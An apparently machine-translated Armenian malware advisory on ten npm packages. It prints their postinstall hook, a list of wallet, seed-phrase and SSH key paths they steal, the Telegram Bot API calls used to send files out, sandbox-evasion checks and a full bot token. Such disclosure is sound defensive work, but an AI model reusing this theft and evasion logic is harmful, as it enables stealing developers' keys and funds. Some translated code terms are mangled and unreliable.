SeedSweep: Տասը վնասակար npm կրիպտո փաթեթներ

SeedSweep. Տասը կրիպտոթեմատիկ npm փաթեթներ, որոնք աշխատում են միայն այն ժամանակ, երբ ոչ ոք չի նայում

TL. DR

2026 թվականի հունիսի 9-ին մեկ npm հրատարակչի հաշիվ, aicrypto-xzggg, առաքվել է տասը փաթեթ կրիպտո- և Web3-ի համեմված անուններով — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, և ևս վեցը։

Յուրաքանչյուր փաթեթ նույն բեռը կրում է a-ից postinstall hook. On install, it checks whether it is running inside CI or a sandbox — if not, it reads wallet keystores, seed-phrase files, SSH keys, and .env files from across six blockchain ecosystems and transmits them to a Telegram bot.

Միակ ցուցիչը, որը պաշտպանը կարող է անմիջապես փնտրել, Telegram բոտի ID-ն է։ 8227918239.

Ծանրությունը ` քննադատական — direct theft of signing keys and recovery phrases from մշակողի աշխատակայաններ.

Հարձակումը. Ինչպես է այն գործում

Փաթեթները գովազդում են իրենց որպես բլոկչեյն մշակողների համար նախատեսված գործիքներ։ package.json նվազագույն է և տեղադրման կենսացիկլը ցույց է տալիս սկրիպտի վրա՝

{
  "name": "farming-tools-12",
  "main": "src/index.js",
  "scripts": { "postinstall": "node scripts/postinstall.js" },
  "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
  "author": "Alex Smith",
  "license": "MIT"
}

սկրիպտներ/postinstall.js միագիծ շեմ է, որը բեռնում է իրական օգտակար բեռը։ պահանջել («../src/index.js»). Որովհետեւ հետինստալյացիա ավտոմատ կերպով գործում է ընթացքում npm տեղադրել, մշակողի կողմից կոդի ներմուծում անհրաժեշտ չէ. փաթեթը կախվածության ծառում տեղադրելը բավարար է այն գործարկելու համար։

Սպանության շղթան ներսում src/index.js չորս քայլ է.

  1. Միջավայրի ստուգում։ Պահպանման ֆունկցիան որոշում է, թե արդյոք հոսթը նման է կառուցման գործակալի, թե՞ վերլուծության ավազատուփի։
  2. Հետաձգում. Կատարումը հետաձգվում է սահմանելժամանակի ավարտ մոտ 7.4 վայրկյանում։
  3. Հավաքածու: Անցնում ենք դրամապանակի, բանալու և գաղտնի ֆայլերի ֆիքսված ցանկով, իսկ առկա ֆայլերը հերթագրվում են։
  4. Էքսֆիլտրացիա։ Հերթում գտնվող ֆայլերը ուղարկվում են Telegram բոտին, որին նախորդում է ամփոփ հաղորդագրություն։

Հավաքածուի թիրախային ցանկը ընդգրկում է վեց շղթա՝ գումարած ընդհանուր մշակողների գաղտնիքները։ Կտրված՝

~/.config/solana/id.json        ~/.ethereum/keystore
~/.solana/keypair.json          ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt
./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Ընդհանուր առմամբ քսանմեկ ուղի։ Տեղեկատուի գրառումներ, ինչպիսիք են՝ ~/.ethereum/keystore ընդարձակվում են, և ներսում գտնվող յուրաքանչյուր ֆայլ հերթագրվում է։ Արտազատումը անմիջապես օգտագործում է Telegram Bot API-ը՝ ուղարկել հաղորդագրություն զանգահարեք հոսթի և ֆայլի ամփոփագրով, ապա՝ ուղարկել փաստաթուղթ բազմամաս բեռնում յուրաքանչյուր ֆայլի համար՝

տեքստ

POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Կոդի կողմից հավաքված ամփոփ հաղորդագրությունը սկսվում է բառացի տողից Գաղտնագիր գողացող, որին հաջորդում են հոսթի անունը, օգտատիրոջ անունը, սկզբնական փաթեթի անվանումը, ֆայլերի քանակը և ժամանակային նշագիծը։

Ի՞նչ նորություններ կան այստեղ

Տարբերակիչը գողության մեխանիզմը չէ — Telegram-ի վրա հիմնված exfil՝ npm-ից հետինստալյացիա hooks լավ ոտնակոխ է արված։ Դա մահապատժի դարպասը։ Մինչև որևէ բան անելը, payload-ը կանչում է մի ֆունկցիա, որը վերադարձնում է true, երբ հոսթը նմանվում է CI runner-ի կամ sandbox-ի, և վերադարձնում է վաղ, երբ նմանվում է։

տեքստ

isTestEnvironment() is true when ANY of:
  - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set
  - env NODE_ENV in {test, development}
  - username/USER contains: runner, sandbox, test, docker,
    jenkins, gitlab, travis, circleci
  - hostname contains: sandbox, test, ci
  - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Container-id regex-ը նշանակալի պայման է. 12-տասնվեցանիշանոց հոսթի անունը Docker-ի կողմից տրված լռելյայն ձևն է։ աման, ուստի օգտակար բեռը «իմ հոսթի անունը Docker կոնտեյների տեսք ունի» արտահայտությունը դիտարկում է որպես անգործուն մնալու պատճառ: Յոթ վայրկյան ուշացման հետ մեկտեղ, դիզայնը նախընտրում է աշխատել մշակողի իրական աշխատանքային կայանի վրա և լռել ցանկացած վայրում, որը նման է ավտոմատացված վերլուծության: Այդ դարպասն էր, որը ճնշում էր դինամիկ վերլուծության ազդանշանները և պահպանում ստատիկ exfil հոսքը որպես հիմնական համոզմունքի ապացույց:

Խրոնոլոգիա

Ամսաթիվ (UTC)իրադարձություն
2026-06-09 ~02:48Հրապարակման ժամանակ կլաստերի առաջին փաթեթները նշվել են (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25Ավելի բարձր տարբերակ ունեցող անդամները նշվել են (ethereum-kit-9 ժամը 1.25.36, wallet-sdk-9 3.7.73-ին)
2026-06-09 ~03:58–03:59Վերջնական անդամները նշվել են (defi-tools-39 ժամը 4.26.29, swap-sdk-87 ժամը 4.63.78, farming-tools-12 4.68.54-ին)
2026-06-09Բոլոր տասը դասակարգված վնասակար և գրանցամատյանի հեռացման մասին հաղորդված ֆայլերը

Բոլոր տասը գրքերը հայտնվեցին մոտավորապես յոթանասուն րոպեի ընթացքում, ինչը համապատասխանում է մեկ հաշվի կողմից սցենարով նախատեսված մեկ հրատարակության։

Փոխզիջման ցուցանիշներ

Ցանցային և վարքային ցուցանիշներ (հոսթի պաշտպանված):

ՑուցիչԱրժեք
Exfil վերջնակետapi[.]telegram[.]org (Telegram Bot API)
Telegram բոտի ID8227918239
Բոտի թոքեն8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
Telegram-ի չաթի ID6433587894
Տեղադրեք կեռիկըpostinstallscripts/postinstall.jssrc/index.js
Մարկերային տողCRYPTO STEALER հավաքված ամփոփ հաղորդագրության մեջ
Հրատարակիչaicrypto-xzggg (նշված էլ. փոստը vipsyria88@gmail[.]com, չստուգված)

Փաթեթներ և տարբերակներ, որոնցից յուրաքանչյուրը իր SHA-256-ով է src/index.js օգտակար բեռնվածություն (օգտակար բեռները ֆունկցիոնալ առումով նույնական են և տարբերվում են միայն ներդրված փաթեթի անվան պիտակով, ուստի յուրաքանչյուր հեշ տարբեր է):

HTML
Փաթեթտարբերակsrc/index.js-ի SHA-256
farming-tools-124.68.54b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-874.63.789d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-394.26.29ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-93.7.73ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-91.25.36c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-11.0.01147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-41.0.093c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-91.0.0db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-71.0.059f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-01.0.0053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Պարզ որոնման հարցում. որոնեք տեղադրման գրանցամատյաններում և կողպեքի ֆայլերում՝ տասը անուններից որևէ մեկը գտնելու համար, և որոնեք ելքային երթևեկություն՝ Telegram Bot API-ին միացումներ գտնելու համար՝ կառուցման կամ մշակողի հոսթերից, որոնք այլ կերպ չեն օգտագործում այն։

Վերագրում և դիտարկվող վարքագիծ

Բոլոր տասը փաթեթները հրապարակվել են մեկ հաշվի կողմից, aicrypto-xzggg, որի նշված էլ․ հասցեն է vipsyria88@gmail[.]comԳրանցամատյանի մետատվյալներում թե՛ էլ․ հասցեն, թե՛ աղբյուր-վերահսկիչ հղումը չեն ստուգվել, և հաշիվն ունի խիստ բացասական հեղինակության գնահատական։ Մենք չենք հաստատել, թե ով է շահագործում հաշիվը։

Երկու մանրամասնություն արժե առանձնացնել ցանկացած ինքնության պնդումից։ Նախ, package.json հեղինակ դաշտային ընթերցումներ Alex Smith յուրաքանչյուր փաթեթի վրա, մինչդեռ իրական հրատարակչական հաշիվը aicrypto-xzggg; հեղինակի դաշտը ինքնահռչակված մետատվյալ է և չի հաստատում հեղինակությունը։ Երկրորդ, տարբերակների համարները մեծապես տարբերվում են՝ որոշ անդամներ գտնվում են 1.0.0, մյուսները՝ 4.68.54 — ինչը համապատասխանում է նոր ստեղծված փաթեթների անուններով մեկ բեռի վերօգտագործմանը՝ իրական թողարկումների պատմությունը պահպանելու փոխարեն։

Վարքագիծը միատարր է ամբողջ կլաստերում՝ նույն թիրախային ուղիների ցանկը, նույն Telegram բոտի և չատի նույնականացուցիչները, նույն միջավայրի դարպասը, նույնը Գաղտնագիր գողացող մարկեր։ Այդ միատարրությունը փաթեթների միջև ամենաուժեղ կապն է։ Դա նույն օպերատորի ազդանշան է, այլ ոչ թե նույնականություն։

Ազդեցություն, միտումներ և ուղեցույց պաշտպանների համար

Բացահայտումը կոնկրետ է։ Մշակողը, որը տեղադրում է այս փաթեթներից որևէ մեկը աշխատանքային կայանի վրա, որը պարունակում է ծրագրային դրամապանակ, սկզբնական արտահայտության ֆայլ կամ SSH բանալի, այդ ֆայլերը կարդում և փոխանցում է հոսթից վայրկյանների ընթացքում։ Վերականգնման արտահայտությունները և ստորագրման բանալիները չեն լրանում այնպես, ինչպես սեսիայի տոկենը. մեկ անգամ mnemonic.txt կամ Սոլանա id.json մեքենայից դուրս գալու դեպքում դրա կողմից վերահսկվող միջոցները վտանգի տակ են մինչև դրանց տեղափոխումը։ Նույն վազքը նաև գրավում է .env ֆայլեր, որոնք պարբերաբար կրում են API բանալիներ և տվյալների բազայի մուտքագրման տվյալներ։

Այս կլաստերի հետևում կանգնած են երկու միտումներ։ Առաջինը կրիպտո և Web3 թեմատիկ անունների շարունակական օգտագործումն է՝ որոշակի լսարան գրավելու համար՝ մշակողներ, ովքեր դրամապանակներ և բանալիներ են պահում նույն մեքենայի վրա, որտեղ տեղադրում են կախվածություններ։ Երկրորդը sandbox-ի խուսափողականության հասունացումն է տեղադրման ժամանակի բեռներում։ CI միջավայրի փոփոխականները, վազորդի օգտանունները և Docker կոնտեյներ-id հոսթինի անվան ձևը ստուգող դարպասը միտումնավոր ջանք է գործադրում վերլուծության ժամանակ իրական աշխատանքային կայանից տարբեր կերպ վարվելու համար, և այն բարձրացնում է զուտ դինամիկ հայտնաբերման չափանիշը։

Պաշտպանների համար.

Տեղադրել լռելյայնորեն անջատված սկրիպտներով։ npm install –ignore-scripts, կամ սահմանել անտեսել-սկրիպտներ=ճշմարիտ in .npmrc, կանխում է հետինստալյացիա կատարում; միացնել սկրիպտները միայն այն կոնկրետ կախվածությունների համար, որոնք իսկապես կարիք ունեն դրանց։

Պահեք դրամապանակները և ստորագրման բանալիները կառուցման և մշակման մեքենաներից դուրս: Օգտագործեք ապարատային դրամապանակ կամ նվիրված, կախվածությունից զերծ ստորագրման հոսթ:

Վարվել .env, keystores և seed-phrase ֆայլերը որպես թագի զարդեր։ Դրանք երբեք չպետք է գտնվեն այնպիսի գրացուցակում, որը նաև npm տեղադրել աշխատանքային ծառ։

Փնտրեք Telegram Bot API-ի հետ ելքային կապեր CI-ից և մշակողների հոսթերից: Կառուցման միջավայրերի մեծ մասը երբեք չի կանչում այն. այն միջավայրը, որը հանկարծակի կանչում է այն տեղադրումից անմիջապես հետո, արժե ուսումնասիրել:

Կախվածությունների ամրագրում և վերանայում: Նոր փաթեթ՝ ընդհանուր կրիպտո անունով, հետինստալյացիա կեռիկ, և ոչ մի պահոցի հղում չի պահանջում զննում նախքան այն կողպված ֆայլ մտնելը։

Կոնտեյների նույնականացուցիչից խուսափելու կետը նաև հիշեցում է վերլուծաբանների համար. տեղադրման ժամանակի ընթացքում «sandbox»-ում անգործուն մնացող օգտակար բեռը վնասակար չէ, այն ընտրողական է: Տեղադրման ուղու ստատիկ վերանայումը մնում է հուսալի միջոց՝ տեսնելու, թե դինամիկ կատարումը ինչ կարող է չցուցադրել:

Սայլակ

npm տեղադրման փաստաթղթեր՝ կյանքի ցիկլի սկրիպտներ և –ignore-scripts— հղում ավտոմատ տեղադրումը անջատելու համար hooks. 

sca-tools-software-composition-analysis-tools
Առաջնահերթություն տվեք, շտկեք և պաշտպանեք ձեր ծրագրային ռիսկերը
Ստացեք ձեր անվճար հաշիվը։
Ոչ մի վարկային քարտ չի պահանջվում:

Ապահովեք ձեր ծրագրային ապահովման մշակումը և մատակարարումը

Xygeni Product Suite-ի հետ